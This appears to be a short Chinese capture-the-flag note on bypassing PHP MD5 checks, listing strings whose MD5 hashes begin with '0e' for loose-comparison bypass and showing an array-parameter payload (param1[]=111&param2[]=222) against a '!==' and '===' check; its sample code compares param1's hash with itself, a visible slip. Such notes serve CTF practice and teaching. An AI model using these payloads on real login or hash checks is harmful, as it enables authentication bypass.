s1091221200a
0e940624217856561557816327384675


s214587387a
0e848240448830537924465865611904


s1502113478a
0e861580163291561247404381396064


s1091221200a
0e940624217856561557816327384675


s1665632922a
0e731198061491163073197128363787


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s1665632922a
0e731198061491163073197128363787 


s878926199a
0e545993274517709034328855841020

# MD5 强碰撞

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param1'])){
    echo $flag;
}

MD5 强碰撞,此时如果传入的两个参数不是字符串,而是数组,md5 () 函数无法解出其数值,而且不会报错,就会得到 === 强比较的值相等

因此可以输入:

param1[]=111&param2[]=222  #获得 flag
此文章已被阅读次数:正在加载...更新于